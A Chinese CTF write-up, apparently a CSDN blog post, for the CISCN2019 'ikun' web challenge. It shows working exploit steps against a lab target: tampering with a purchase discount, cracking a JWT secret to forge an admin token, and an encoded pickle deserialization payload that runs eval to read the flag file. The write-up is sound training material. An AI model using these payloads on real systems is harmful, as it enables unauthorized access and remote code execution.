[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

打开网页,先注册登录,根据提示:ikun们冲鸭,一定要买到lv6!!!,说明我们要买个六级号,所以我们用脚本搜索六级号在哪一页:

import requests
for i in range(1,1000):
    url = "http://0a047e4f-ced1-4f90-9dcd-663cef470c0f.node3.buuoj.cn/shop?page={}"
    url = url.format(i)
    print(url)
    r = requests.get(url)
    if "lv6.png" in r.text and r.status_code == 200:
        print("find it:" ,url)
        break

最后发现在181页,到181页点击购买,同时用burp suite拦截请求:

POST /shopcar HTTP/1.1
Host: 36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn/shopcar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _xsrf=2|3838073a|d9aeab83c56fb9d3c045fd385aeb54a5|1626027539; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78; commodity_id="2|1:0|10:1626027606|12:commodity_id|8:MTYyNA==|02ef09725be9c5bcf6002e383a11f1ccfad68a4696d9d4880f626114676c32c6"
Connection: close

_xsrf=2%7Ca5eaf832%7C447c548b58bd46db5d970230c739abad%7C1626027539&id=1624&price=1145141919.0&discount=0.8

discount折扣改成0.000000001,然后发送请求,响应为:

HTTP/1.1 302 Found
Server: openresty
Date: Sun, 11 Jul 2021 18:21:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Location: /b1g_m4mber

发现新网页,在浏览器输入url:

http://4683139b-3505-4d17-970d-db6537af0224.node4.buuoj.cn/b1g_m4mber

页面提示只允许admin访问,刷新拦截请求:

GET /b1g_m4mber HTTP/1.1
Host: 36b85929-6539-4426-9896-e26feab990ea.node4.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _xsrf=2|3838073a|d9aeab83c56fb9d3c045fd385aeb54a5|1626027539; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78; commodity_id="2|1:0|10:1626027606|12:commodity_id|8:MTYyNA==|02ef09725be9c5bcf6002e383a11f1ccfad68a4696d9d4880f626114676c32c6"
If-None-Match: "c63998d5bdcbf56c96cd396256e18ee05bfc4f3e"
Connection: close

发现JWT字段,想到利用JWT获得权限。

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

References

五分钟带你了解啥是JWT

什么是 JWT – JSON WEB TOKEN

JWT官网:

JWT.IO

JWT字段为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

经过base64解码:

{"alg":"HS256","typ":"JWT"}{"username":"123"}¶«.L=...m.ð¢ÖÙ.Jh.Î.ö7Éq">[.¿

发现当前的用户名是123,如果现在的用户名是admin,就可以进入/b1g_m4mber页面了。但解码后是乱码,所以我们还需要知道JWT的密钥,才能将用户名修改后正确地伪造为JWT。利用JWT密钥破解工具:

brendan-rius/c-jwt-cracker

下载软件包到Ubuntu或者kail,然后先安装opensll头文件:

sudo apt-get install libssl-dev

然后在c-jwt-cracker文件夹下编译文件:

make

然后输入命令:

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

运行后得知密钥为:1Kun

先在网站里输入请求包里拦截到的jwt

JWT.IO

然后修改usernameadmin,在VERIFY SIGNATURE里填入1Kun,左侧会自动生成我们伪造好的jwt,把伪造的jwt放入请求,替换原来的JWT,然后发送请求,最后成功访问/b1g_m4mber。查看源代码发现www.zip下载包:

<a href="/static/asd1f654e683wq/www.zip">
	<span style="visibility:hidden">删库跑路前我留了好东西在这里</span>
</a>

点击下载压缩包。

admin.py文件里面发现代码:

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

注意到become参数用到pickle.loads()函数,查询资料:Pickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:

  • Pickle.dump():将Python对象序列化保存到本地的文件中。
  • Pickle.load():载入本地文件,将文件内容反序列化为Python对象。
  • Pickle.dumps():将Python对象序列化为字符串。
  • Pickle.loads():将字符串反序列化为Python对象。

因此我们知道代码中pickle.load()的作用是反序列化,因此如果我们要找到flag文件,我们首先要在代码反序列化时执行一个函数。于是找到__reduce__(self)函数可以在重建对象时,调用我们指定的函数,具体定义如下:

  • __reduce__(self)

    当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 __setstate__ 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

References

Python魔法方法指南_宇宙浪子的专栏-CSDN博客_python 魔法方法

如果我们能让代码执行eval("open('/flag.txt','r').read()")就可以得到flag文件了,所以构造python2序列化代码:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload()) # 将Python对象序列化
a = urllib.quote(a) # url编码
print a

References

(Python)cPickle反序列化漏洞_Mi1k7ea-CSDN博客

将在python2的环境下运行结果代替原来become的值,构造请求:

POST /b1g_m4mber HTTP/1.1
Host: f52a047b-8539-42df-95a9-6b22df3a40c4.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: _xsrf=2|7c71a1bd|485b9d098c384489fcbb2dde09eb33f5|1626675334; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
Content-Length: 178

_xsrf=2%7Cc3438373%7Cf769bfc7330a664743890f10b6d9113b%7C1626675334&become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

发送请求,得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值